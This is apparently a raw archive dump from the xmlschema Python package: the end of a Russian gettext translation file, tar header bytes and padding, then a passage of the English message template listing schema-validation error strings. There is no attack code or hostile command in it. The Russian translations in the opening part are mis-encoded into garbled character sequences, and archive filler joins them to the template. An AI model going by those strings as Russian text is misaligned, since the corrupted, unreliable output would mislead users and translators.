Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ %r" #: xmlschema/validators/xsdbase.py:408 #, python-format msgid "missing both attributes 'name' and 'ref' in local %r" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‚ Đ¾Đ±Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'name' и 'ref' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ %r" #: xmlschema/validators/xsdbase.py:411 msgid "attributes 'name' and 'ref' are mutually exclusive" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'name' и 'ref' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸" #: xmlschema/validators/xsdbase.py:414 #, python-format msgid "attribute 'ref' not allowed in a global %r" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ %r" #: xmlschema/validators/xsdbase.py:423 msgid "a reference component cannot have child definitions/declarations" msgstr "ÑÑÑ‹Đ»Đ¾Ñ‡Đ½Ñ‹Đ¹ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Ñ… Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¹/Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹" #: xmlschema/validators/xsdbase.py:438 msgid "too many XSD components, unexpected {0!r} found at position {1}" msgstr "ÑĐ»Đ¸ÑˆĐºĐ¾Đ¼ Đ¼Đ½Đ¾Đ³Đ¾ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚Đ¾Đ² XSD, Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ {0!r} Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² Đ¿Đ¾Đ·Đ¸Ñ†Đ¸Đ¸ {1}" #: xmlschema/validators/xsdbase.py:454 msgid "" "attribute 'name' must be present when 'targetNamespace' attribute is provided" msgstr "" "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ, ĐºĐ¾Đ³Đ´Đ° Đ¿Ñ€ĐµĐ´Đ¾ÑÑ‚Đ°Đ²Đ»ÑĐµÑ‚ÑÑ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ " "'targetNamespace'" #: xmlschema/validators/xsdbase.py:458 msgid "" "attribute 'form' must be absent when 'targetNamespace' attribute is provided" msgstr "" "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'form' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¾Ñ‚ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ, еÑли ÑƒĐºĐ°Đ·Đ°Đ½ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'targetNamespace'" #: xmlschema/validators/xsdbase.py:463 #, python-format msgid "a global %s must have the same namespace as its parent schema" msgstr "" "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ %s Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ‚Đ¾ же Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Ñ‡Ñ‚Đ¾ и ĐµĐ³Đ¾ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ°Ñ " "ÑÑ…ĐµĐ¼Đ°" #: xmlschema/validators/xsdbase.py:471 msgid "" "a declaration contained in a global complexType must have the same namespace " "as its parent schema" msgstr "" "Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ, ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‰ĐµĐµÑÑ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ, Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ‚Đ¾ же " "Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Ñ‡Ñ‚Đ¾ и ĐµĐ³Đ¾ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ°Ñ ÑÑ…ĐµĐ¼Đ°" #: xmlschema/validators/xsdbase.py:591 msgid "parent circularity from {}" msgstr "Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒ Đ·Đ°Ñ†Đ¸ĐºĐ»ĐµĐ½ из {}" #: xmlschema/validators/helpers.py:44 #, python-format msgid "wrong value %r for attribute %r" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° %r" #: xmlschema/validators/helpers.py:59 msgid "value is not a valid xs:decimal" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ²ĐµÑ€Đ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° xs:decimal" #: xmlschema/validators/helpers.py:65 msgid "value is not an xs:QName" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ xs:QName" #: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 #: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 #: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 #: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 msgid "value must be {:s}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ {:s}" #: xmlschema/validators/helpers.py:119 msgid "value must be negative" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/helpers.py:125 msgid "value must be positive" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/helpers.py:131 msgid "value must be non positive" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/helpers.py:137 msgid "value must be non negative" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/helpers.py:144 msgid "not an hexadecimal number" msgstr "Đ½Đµ ÑˆĐµÑÑ‚Đ½Đ°Đ´Ñ†Đ°Ñ‚ĐµÑ€Đ¸Ñ‡Đ½Đ¾Đµ Ñ‡Đ¸ÑĐ»Đ¾" #: xmlschema/validators/helpers.py:157 msgid "not a base64 encoding" msgstr "Đ½Đµ Đ·Đ°ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ Đ² base64" #: xmlschema/validators/helpers.py:162 msgid "no value is allowed for xs:error type" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° xs:error" #: xmlschema/validators/helpers.py:174 msgid "{!r} is not a boolean value" msgstr "{!r} Đ½Đµ Đ±ÑƒĐ»ĐµĐ²Đ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ" #~ msgid "invalid" #~ msgstr "Đ½ĐµĐ²Đ°Đ»Đ¸Đ´Đ½Ñ‹Đ¹" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/xmlschema.pot������������������������������������������������������0000664�0000000�0000000�00000137225�15020401055�0021424�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR , 2016, SISSA (International School for Advanced Studies). # This file is distributed under the same license as the xmlschema package. # FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: xmlschema\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2025-03-20 06:55+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: xmlschema/documents.py:51 msgid "invalid schema class {!r}" msgstr "" #: xmlschema/documents.py:89 msgid "cannot get a schema for XML data, provide a schema argument" msgstr "" #: xmlschema/exports.py:148 msgid "target directory {} is not empty" msgstr "" #: xmlschema/exports.py:151 msgid "target {} is not a directory" msgstr "" #: xmlschema/exports.py:154 msgid "target parent directory {} does not exist" msgstr "" #: xmlschema/exports.py:157 msgid "target parent {} is not a directory" msgstr "" #: xmlschema/exports.py:171 msgid "target directory {} violation for exported path {}, {}" msgstr "" #: xmlschema/loaders.py:117 msgid "" "if the 'namespace' attribute is not present on the import statement then the " "imported schema must have a 'targetNamespace'" msgstr "" #: xmlschema/loaders.py:121 msgid "" "the attribute 'namespace' must be different from schema's 'targetNamespace'" msgstr "" #: xmlschema/loaders.py:155 msgid "Include schema failed: {}" msgstr "" #: xmlschema/loaders.py:164 msgid "Redefine schema failed: {}" msgstr "" #: xmlschema/loaders.py:166 msgid "Override schema failed: {}" msgstr "" #: xmlschema/loaders.py:173 msgid "can't include schema {!r}: {}" msgstr "" #: xmlschema/loaders.py:175 msgid "can't redefine schema {!r}: {}" msgstr "" #: xmlschema/loaders.py:177 msgid "can't override schema {!r}: {}" msgstr "" #: xmlschema/loaders.py:185 msgid "can't {} the same schema {!r}" msgstr "" #: xmlschema/loaders.py:214 msgid "import of namespace {!r} failed: {}" msgstr "" #: xmlschema/loaders.py:216 msgid "import of chameleon schema failed: {}" msgstr "" #: xmlschema/loaders.py:230 msgid "Import of namespace {!r} from {!r} failed: {}." msgstr "" #: xmlschema/loaders.py:253 msgid "imported schema {!r} has an unmatched namespace {!r}" msgstr "" #: xmlschema/locations.py:34 msgid "wrong type {!r} for locations argument" msgstr "" #: xmlschema/resources/arguments.py:46 msgid "source XML document is empty" msgstr "" #: xmlschema/resources/arguments.py:78 msgid "invalid value {!r} for argument {!r}" msgstr "" #: xmlschema/utils/descriptors.py:112 xmlschema/validators/builders.py:187 msgid "Can't set attribute {}" msgstr "" #: xmlschema/utils/descriptors.py:116 xmlschema/validators/builders.py:190 msgid "Can't delete attribute {}" msgstr "" #: xmlschema/utils/descriptors.py:124 msgid "invalid type {!r} for argument {!r}" msgstr "" #: xmlschema/utils/descriptors.py:138 msgid "invalid value {!r} for argument {!r}: must be one of {}" msgstr "" #: xmlschema/utils/descriptors.py:156 msgid "the argument {!r} must be greater or equal than {}" msgstr "" #: xmlschema/utils/descriptors.py:159 msgid "the argument {!r} must be lesser or equal than {}" msgstr "" #: xmlschema/utils/logger.py:30 msgid "{!r} is not a valid loglevel" msgstr "" #: xmlschema/validators/assertions.py:76 msgid "base_type={!r} is not a complexType definition" msgstr "" #: xmlschema/validators/attributes.py:89 msgid "unknown attribute {!r}" msgstr "" #: xmlschema/validators/attributes.py:105 msgid "referenced attribute has a different fixed value {!r}" msgstr "" #: xmlschema/validators/attributes.py:110 msgid "attribute {!r} is not allowed when attribute reference is used" msgstr "" #: xmlschema/validators/attributes.py:126 msgid "an attribute name must be different from 'xmlns'" msgstr "" #: xmlschema/validators/attributes.py:133 #, python-format msgid "cannot add attributes in %r namespace" msgstr "" #: xmlschema/validators/attributes.py:154 msgid "ambiguous type definition for XSD attribute" msgstr "" #: xmlschema/validators/attributes.py:166 msgid "XSD attribute's type must be a simpleType" msgstr "" #: xmlschema/validators/attributes.py:173 xmlschema/validators/elements.py:291 msgid "'default' and 'fixed' attributes are mutually exclusive" msgstr "" #: xmlschema/validators/attributes.py:177 msgid "" "the attribute 'use' must be 'optional' if the attribute 'default' is present" msgstr "" #: xmlschema/validators/attributes.py:182 msgid "default value {!r} is not compatible with attribute's type" msgstr "" #: xmlschema/validators/attributes.py:185 msgid "xs:ID key attributes cannot have a default value" msgstr "" #: xmlschema/validators/attributes.py:191 msgid "fixed value {!r} is not compatible with attribute's type" msgstr "" #: xmlschema/validators/attributes.py:194 msgid "xs:ID key attributes cannot have a fixed value" msgstr "" #: xmlschema/validators/attributes.py:238 xmlschema/validators/elements.py:766 msgid "" "cannot validate against xs:NOTATION directly, only against a subtype with an " "enumeration facet" msgstr "" #: xmlschema/validators/attributes.py:242 xmlschema/validators/elements.py:770 msgid "missing enumeration facet in xs:NOTATION subtype" msgstr "" #: xmlschema/validators/attributes.py:251 msgid "attribute {0!r} has a fixed value {1!r}" msgstr "" #: xmlschema/validators/attributes.py:305 msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" msgstr "" #: xmlschema/validators/attributes.py:397 msgid "more anyAttribute declarations in the same attribute group" msgstr "" #: xmlschema/validators/attributes.py:400 msgid "another declaration after anyAttribute" msgstr "" #: xmlschema/validators/attributes.py:416 msgid "multiple declaration for attribute {!r}" msgstr "" #: xmlschema/validators/attributes.py:425 msgid "the attribute 'ref' is required in a local attributeGroup" msgstr "" #: xmlschema/validators/attributes.py:435 msgid "duplicated attributeGroup {!r}" msgstr "" #: xmlschema/validators/attributes.py:441 msgid "in a redefinition the reference to itself must be the first" msgstr "" #: xmlschema/validators/attributes.py:452 msgid "attributeGroup ref={!r} is not in the redefined group" msgstr "" #: xmlschema/validators/attributes.py:456 msgid "Circular attribute groups not allowed in XSD 1.0" msgstr "" #: xmlschema/validators/attributes.py:464 msgid "unknown attribute group {!r}" msgstr "" #: xmlschema/validators/attributes.py:475 msgid "multiple declaration of attribute {!r}" msgstr "" #: xmlschema/validators/attributes.py:485 msgid "(attribute | attributeGroup) expected, found {!r}." msgstr "" #: xmlschema/validators/attributes.py:496 msgid "Unexpected attribute {!r} in restriction" msgstr "" #: xmlschema/validators/attributes.py:512 msgid "Attribute wildcard is not a restriction of the base wildcard" msgstr "" #: xmlschema/validators/attributes.py:522 msgid "Attribute type is not a restriction of the base attribute type" msgstr "" #: xmlschema/validators/attributes.py:527 msgid "Attribute {!r}: unmatched attribute use in restriction" msgstr "" #: xmlschema/validators/attributes.py:533 msgid "Attribute {!r}: derived attribute has a different fixed value" msgstr "" #: xmlschema/validators/attributes.py:537 msgid "Attribute {!r}: 'inheritable' property change in restriction" msgstr "" #: xmlschema/validators/attributes.py:551 msgid "Missing required attribute {!r} in redefinition restriction" msgstr "" #: xmlschema/validators/attributes.py:556 msgid "Attribute {!r}: unmatched attribute use in redefinition" msgstr "" #: xmlschema/validators/attributes.py:559 msgid "Attribute {!r}: redefinition remove fixed constraint" msgstr "" #: xmlschema/validators/attributes.py:568 msgid "Redefinition restriction contains additional attribute {!r}" msgstr "" #: xmlschema/validators/attributes.py:572 msgid "Wrong attribute order in redefinition restriction" msgstr "" #: xmlschema/validators/attributes.py:591 msgid "multiple ID attributes not allowed for XSD 1.0" msgstr "" #: xmlschema/validators/attributes.py:646 #: xmlschema/validators/attributes.py:722 msgid "missing required attribute {!r}" msgstr "" #: xmlschema/validators/attributes.py:677 #: xmlschema/validators/attributes.py:740 #, python-format msgid "%r is not an attribute of the XSI namespace" msgstr "" #: xmlschema/validators/attributes.py:685 #: xmlschema/validators/attributes.py:748 #, python-format msgid "%r attribute not allowed for element" msgstr "" #: xmlschema/validators/attributes.py:691 #, python-format msgid "use of attribute %r is prohibited" msgstr "" #: xmlschema/validators/builders.py:232 msgid "'model' argument must be (sequence | choice | all)" msgstr "" #: xmlschema/validators/builders.py:317 xmlschema/validators/builders.py:325 msgid "(restriction | list | union) expected" msgstr "" #: xmlschema/validators/builders.py:336 msgid "missing attribute 'name' in a global simpleType" msgstr "" #: xmlschema/validators/builders.py:341 msgid "attribute 'name' not allowed for a local simpleType" msgstr "" #: xmlschema/validators/builders.py:463 msgid "global {} {!r} not found" msgstr "" #: xmlschema/validators/builders.py:517 msgid "global xs:{} with name={!r} is already built" msgstr "" #: xmlschema/validators/builders.py:519 msgid "global xs:{} with name={!r} is already defined" msgstr "" #: xmlschema/validators/builders.py:546 msgid "global xs:{} with name={!r} is already loaded" msgstr "" #: xmlschema/validators/builders.py:560 msgid "not a redefinition!" msgstr "" #: xmlschema/validators/builders.py:618 msgid "redefined schema {!r} has a different targetNamespace" msgstr "" #: xmlschema/validators/builders.py:629 msgid "unexpected instance {!r} in XSD {} global map" msgstr "" #: xmlschema/validators/complex_types.py:137 msgid "missing attribute 'name' in a global complexType" msgstr "" #: xmlschema/validators/complex_types.py:142 msgid "attribute 'name' not allowed in a local complexType" msgstr "" #: xmlschema/validators/complex_types.py:165 msgid "'mixed' attribute not allowed with simpleContent" msgstr "" #: xmlschema/validators/complex_types.py:180 #, python-format msgid "unexpected tag %r after simpleContent declaration:" msgstr "" #: xmlschema/validators/complex_types.py:191 msgid "" "value of 'mixed' attribute in complexType and complexContent must be the same" msgstr "" #: xmlschema/validators/complex_types.py:211 #, python-format msgid "unexpected tag %r after complexContent declaration" msgstr "" #: xmlschema/validators/complex_types.py:236 #, python-format msgid "unexpected tag %r for complexType content" msgstr "" #: xmlschema/validators/complex_types.py:244 #: xmlschema/validators/simple_types.py:1266 msgid "wrong definition with self-reference" msgstr "" #: xmlschema/validators/complex_types.py:247 #: xmlschema/validators/simple_types.py:1273 msgid "wrong redefinition without self-reference" msgstr "" #: xmlschema/validators/complex_types.py:258 msgid "restriction or extension tag expected" msgstr "" #: xmlschema/validators/complex_types.py:265 msgid "{!r} is expected to have a redefined/overridden component" msgstr "" #: xmlschema/validators/complex_types.py:270 msgid "{0!r} derivation not allowed for {1!r}" msgstr "" #: xmlschema/validators/complex_types.py:280 msgid "'base' attribute required" msgstr "" #: xmlschema/validators/complex_types.py:289 #, python-format msgid "missing base type %r" msgstr "" #: xmlschema/validators/complex_types.py:300 #: xmlschema/validators/complex_types.py:314 msgid "a complexType ancestor required: {!r}" msgstr "" #: xmlschema/validators/complex_types.py:305 #, python-format msgid "derivation by %r blocked by attribute 'final' in base type" msgstr "" #: xmlschema/validators/complex_types.py:324 msgid "a not empty simpleContent cannot restrict an empty content type" msgstr "" #: xmlschema/validators/complex_types.py:333 msgid "content type is not a restriction of base content" msgstr "" #: xmlschema/validators/complex_types.py:341 msgid "with simpleContent cannot restrict an element-only content type" msgstr "" #: xmlschema/validators/complex_types.py:353 xmlschema/validators/groups.py:544 #, python-format msgid "unexpected tag %r" msgstr "" #: xmlschema/validators/complex_types.py:363 #, python-format msgid "base type %r has no simple content" msgstr "" #: xmlschema/validators/complex_types.py:371 msgid "the base type is not derivable by restriction" msgstr "" #: xmlschema/validators/complex_types.py:374 #: xmlschema/validators/complex_types.py:467 #: xmlschema/validators/complex_types.py:914 #, python-format msgid "base %r is simple or has a simple content" msgstr "" #: xmlschema/validators/complex_types.py:386 #, python-brace-format msgid "" "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" msgstr "" #: xmlschema/validators/complex_types.py:398 msgid "derived a mixed content from a base type that has element-only content" msgstr "" #: xmlschema/validators/complex_types.py:401 msgid "an empty content derivation from base type that has not empty content" msgstr "" #: xmlschema/validators/complex_types.py:412 msgid "{0!r} is not a restriction of the base type {1!r}" msgstr "" #: xmlschema/validators/complex_types.py:421 #: xmlschema/validators/complex_types.py:919 msgid "the base type is not derivable by extension" msgstr "" #: xmlschema/validators/complex_types.py:454 #: xmlschema/validators/complex_types.py:964 #: xmlschema/validators/complex_types.py:1014 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty." msgstr "" #: xmlschema/validators/complex_types.py:474 msgid "cannot extend a complex content with xs:all" msgstr "" #: xmlschema/validators/complex_types.py:477 msgid "xs:sequence cannot extend xs:all" msgstr "" #: xmlschema/validators/complex_types.py:487 msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" msgstr "" #: xmlschema/validators/complex_types.py:490 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty" msgstr "" #: xmlschema/validators/complex_types.py:503 #: xmlschema/validators/complex_types.py:1028 msgid "extended type has a mixed content but the base is element-only" msgstr "" #: xmlschema/validators/complex_types.py:670 msgid "global type {!r} is not built" msgstr "" #: xmlschema/validators/complex_types.py:745 #: xmlschema/validators/complex_types.py:771 #, python-format msgid "cannot decode %(obj)r data with %(decoder)r" msgstr "" #: xmlschema/validators/complex_types.py:868 msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" msgstr "" #: xmlschema/validators/complex_types.py:875 msgid "openContent mismatch between type and model group" msgstr "" #: xmlschema/validators/complex_types.py:887 #, python-format msgid "attribute %r must be inheritable" msgstr "" #: xmlschema/validators/complex_types.py:903 msgid "default attribute {!r} is already declared in the complex type" msgstr "" #: xmlschema/validators/complex_types.py:968 msgid "cannot extend an empty mixed content with an xs:all" msgstr "" #: xmlschema/validators/complex_types.py:986 #, python-format msgid "xs:all cannot extend a not empty xs:%s" msgstr "" #: xmlschema/validators/complex_types.py:1001 msgid "cannot extend a not empty 'all' model group with a different model" msgstr "" #: xmlschema/validators/complex_types.py:1004 msgid "when extend an xs:all group minOccurs must be the same" msgstr "" #: xmlschema/validators/complex_types.py:1007 msgid "cannot extend an xs:all group with mixed empty content" msgstr "" #: xmlschema/validators/complex_types.py:1051 msgid "{0!r} is not an extension of the base type {1!r}" msgstr "" #: xmlschema/validators/elements.py:178 #, python-format msgid "unknown element %r" msgstr "" #: xmlschema/validators/elements.py:197 msgid "attribute {!r} is not allowed when element reference is used" msgstr "" #: xmlschema/validators/elements.py:218 msgid "local scope elements cannot have abstract attribute" msgstr "" #: xmlschema/validators/elements.py:245 msgid "attribute {!r} is not allowed in a global element declaration" msgstr "" #: xmlschema/validators/elements.py:250 msgid "attribute {!r} not allowed in a local element declaration" msgstr "" #: xmlschema/validators/elements.py:268 xmlschema/validators/elements.py:1529 #: xmlschema/validators/simple_types.py:908 #: xmlschema/validators/simple_types.py:1070 #: xmlschema/validators/simple_types.py:1279 msgid "unknown type {!r}" msgstr "" #: xmlschema/validators/elements.py:273 msgid "" "the attribute 'type' and a xs:{} local declaration are mutually exclusive" msgstr "" #: xmlschema/validators/elements.py:295 msgid "'default' value {!r} is not compatible with element's type" msgstr "" #: xmlschema/validators/elements.py:299 msgid "xs:ID or a type derived from xs:ID cannot have a default value" msgstr "" #: xmlschema/validators/elements.py:305 msgid "'fixed' value {!r} is not compatible with element's type" msgstr "" #: xmlschema/validators/elements.py:309 msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" msgstr "" #: xmlschema/validators/elements.py:326 xmlschema/validators/elements.py:334 #, python-format msgid "duplicated identity constraint %r:" msgstr "" #: xmlschema/validators/elements.py:356 #, python-format msgid "unknown substitutionGroup %r" msgstr "" #: xmlschema/validators/elements.py:361 #, python-format msgid "circularity found for substitutionGroup %r" msgstr "" #: xmlschema/validators/elements.py:376 msgid "" "{0!r} type is not of the same or a derivation of the head element {1!r} type" msgstr "" #: xmlschema/validators/elements.py:380 #, python-format msgid "" "head element %r can't be substituted by an element that has a derivation of " "its type" msgstr "" #: xmlschema/validators/elements.py:384 #, python-format msgid "" "head element %r can't be substituted by an element that has an extension of " "its type" msgstr "" #: xmlschema/validators/elements.py:388 #, python-format msgid "" "head element %r can't be substituted by an element that has a restriction of " "its type" msgstr "" #: xmlschema/validators/elements.py:566 msgid "schemaLocation declaration after namespace start" msgstr "" #: xmlschema/validators/elements.py:599 xmlschema/validators/elements.py:935 msgid "can't use an abstract element in an instance" msgstr "" #: xmlschema/validators/elements.py:602 xmlschema/validators/elements.py:938 msgid "" "can't use an abstract XSD element for validation unless it's the head of a " "substitution group" msgstr "" #: xmlschema/validators/elements.py:610 xmlschema/validators/elements.py:951 msgid "can't use an abstract XSD element for validation" msgstr "" #: xmlschema/validators/elements.py:664 #, python-format msgid "usage of %r is blocked" msgstr "" #: xmlschema/validators/elements.py:668 #, python-format msgid "%r is abstract" msgstr "" #: xmlschema/validators/elements.py:697 msgid "element is not nillable" msgstr "" #: xmlschema/validators/elements.py:700 msgid "xsi:nil attribute must have a boolean value" msgstr "" #: xmlschema/validators/elements.py:705 msgid "xsi:nil='true' but the element has a fixed value" msgstr "" #: xmlschema/validators/elements.py:708 msgid "xsi:nil='true' but the element is not empty" msgstr "" #: xmlschema/validators/elements.py:714 msgid "character data is not allowed because content is empty" msgstr "" #: xmlschema/validators/elements.py:733 xmlschema/validators/elements.py:749 #, python-format msgid "must have the fixed value %r" msgstr "" #: xmlschema/validators/elements.py:738 msgid "a simple content element can't have child elements" msgstr "" #: xmlschema/validators/elements.py:1284 msgid "test attribute missing in non-final alternative" msgstr "" #: xmlschema/validators/elements.py:1396 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" msgstr "" #: xmlschema/validators/elements.py:1429 #, python-brace-format msgid "adding schema at {url} change the " msgstr "" #: xmlschema/validators/elements.py:1511 xmlschema/validators/elements.py:1519 msgid "missing 'type' attribute" msgstr "" #: xmlschema/validators/elements.py:1523 msgid "declared type is not derived from {!r}" msgstr "" #: xmlschema/validators/elements.py:1533 msgid "type {0!r} is not derived from {1!r}" msgstr "" #: xmlschema/validators/elements.py:1538 #, python-format msgid "" "the attribute 'type' and the xs:%s local declaration are mutually exclusive" msgstr "" #: xmlschema/validators/exceptions.py:177 msgid "Circular definition detected for xs:{} {!r}." msgstr "" #: xmlschema/validators/exceptions.py:439 #, python-format msgid "The content of element %r is not complete." msgstr "" #: xmlschema/validators/exceptions.py:443 #, python-format msgid "Unexpected child with tag %r at position %d." msgstr "" #: xmlschema/validators/exceptions.py:459 #, python-format msgid " Tag (%s) expected." msgstr "" #: xmlschema/validators/exceptions.py:461 #, python-format msgid " Tag %s expected." msgstr "" #: xmlschema/validators/exceptions.py:463 #, python-format msgid " Tag %r expected." msgstr "" #: xmlschema/validators/facets.py:87 msgid "{0!r} facet value is fixed to {1!r}" msgstr "" #: xmlschema/validators/facets.py:95 msgid "invalid type {!r} provided: {}" msgstr "" #: xmlschema/validators/facets.py:138 xmlschema/validators/facets.py:141 msgid "facet value can be only 'collapse'" msgstr "" #: xmlschema/validators/facets.py:143 msgid "facet value can be only 'replace' or 'collapse'" msgstr "" #: xmlschema/validators/facets.py:149 msgid "value contains tabs or newlines" msgstr "" #: xmlschema/validators/facets.py:158 msgid "value contains non collapsed white spaces" msgstr "" #: xmlschema/validators/facets.py:184 msgid "base facet has a different length ({})" msgstr "" #: xmlschema/validators/facets.py:195 msgid "length has to be {!r}" msgstr "" #: xmlschema/validators/facets.py:222 msgid "base facet has a greater min length ({})" msgstr "" #: xmlschema/validators/facets.py:233 msgid "value length cannot be lesser than {!r}" msgstr "" #: xmlschema/validators/facets.py:260 msgid "base type has a lesser max length ({})" msgstr "" #: xmlschema/validators/facets.py:271 msgid "value length cannot be greater than {!r}" msgstr "" #: xmlschema/validators/facets.py:305 xmlschema/validators/facets.py:346 #: xmlschema/validators/facets.py:389 xmlschema/validators/facets.py:428 msgid "invalid restriction: {}" msgstr "" #: xmlschema/validators/facets.py:312 msgid "value has to be greater or equal than {!r}" msgstr "" #: xmlschema/validators/facets.py:350 msgid "invalid restriction: {} is also the maximum" msgstr "" #: xmlschema/validators/facets.py:356 msgid "value has to be greater than {!r}" msgstr "" #: xmlschema/validators/facets.py:394 msgid "value has to be less than or equal than {!r}" msgstr "" #: xmlschema/validators/facets.py:432 msgid "invalid restriction: {} is also the minimum" msgstr "" #: xmlschema/validators/facets.py:438 msgid "value has to be lesser than {!r}" msgstr "" #: 